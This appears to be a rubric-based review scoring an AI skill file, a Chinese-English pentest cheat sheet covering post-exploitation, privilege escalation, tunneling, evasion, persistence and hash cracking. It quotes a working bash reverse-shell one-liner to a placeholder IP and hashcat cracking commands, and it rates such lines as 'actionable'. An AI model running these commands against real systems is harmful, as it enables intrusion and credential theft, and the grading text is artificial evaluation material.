Conciseness

The body is a lean cheat sheet where every token is a command, tool name, or technique — e.g. 'sudo -l;SUID(GTFOBins);getcap;cron;可写文件' — with zero padding and no explanation of concepts Claude already knows. This matches the 'every token earns its place' anchor exactly.

Actionability

Many lines are executable as written ('bash -i >& /dev/tcp/IP/4444 0>&1', the pty.spawn one-liner, 'hashcat -m <mode> hash wordlist -r rules/best64.rule' with concrete mode numbers like 1800/3200/13100), but a substantial share are tool name-drops without invocation syntax ('PrintSpoofer/GodPotato', 'chisel', 'ligolo-ng', 'crackmapexec', 'hashpump'). Mostly executable with gaps, so 4 rather than 5.

Workflow Clarity

Sequencing and validation appear only in patches: the hash-cracking section has an ordered strategy ('先字典(rockyou)+规则→掩码?d?d?d?d→组合攻击 | john 兜底') and the RDP-credential section has a genuine validate-then-confirm loop (baseline wrong-password rdp_check → compare 'Connection reset' vs 'Access Denied' → confirm → spray other services). However the privesc, tunneling, evasion, and persistence sections are unsequenced parallel checklists with no checkpoints, which fits the 3 anchor ('sequence present but checkpoints missing or implicit') better than the 4 anchor.

Progressive Disclosure

The body is under 50 lines with no bundle files, and is organized into two === sections under a ## header — good structure for a cheat sheet of this size. It falls short of 5 because everything is packed into a single monolithic code block with no navigable sections, and cross-skill references ('pentest-output-standards' 台账, 'web-attack-methods') are inline name-drops rather than clearly signaled links.

Specificity

The description enumerates multiple concrete capabilities — '反弹shell, Linux/Windows提权, 横向, 隧道, 免杀, C2持久化, hashcat/Padding Oracle/hash长度扩展' — giving comprehensive coverage of the post-exploitation, privesc, and crypto-attack domain with no vague filler. Nothing is left at the abstract 'helps with pentesting' level, so it exceeds the 'minor gaps' anchor at 4.

Completeness

Both halves are explicit: the 'what' is a full capability inventory before the colon, and the 'when' is a concrete 'Use when...' clause naming four trigger scenarios. This matches the top anchor exactly rather than the 4 anchor's 'when could be more explicit'.

Trigger Term Quality

'Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto' plus the Chinese equivalents (提权, 横向, 凭据破解) gives good natural keyword coverage. It falls short of the 5 anchor because common variations users would actually say — 'password/hash cracking', 'persistence', 'tunneling', 'reverse shell' — are absent from the trigger clause.

Distinctiveness Conflict Risk

Niche markers like 'Padding Oracle/hash长度扩展' and '免杀/C2持久化' anchor it to a distinct red-team skill, but it deliberately spans three broad domains (post-exploitation, credential cracking, cryptography attacks) that could each be a separate skill, creating minor overlap risk with adjacent skills such as the referenced 'web-attack-methods'. Mostly distinct rather than a clear single niche, so 4 rather than 5.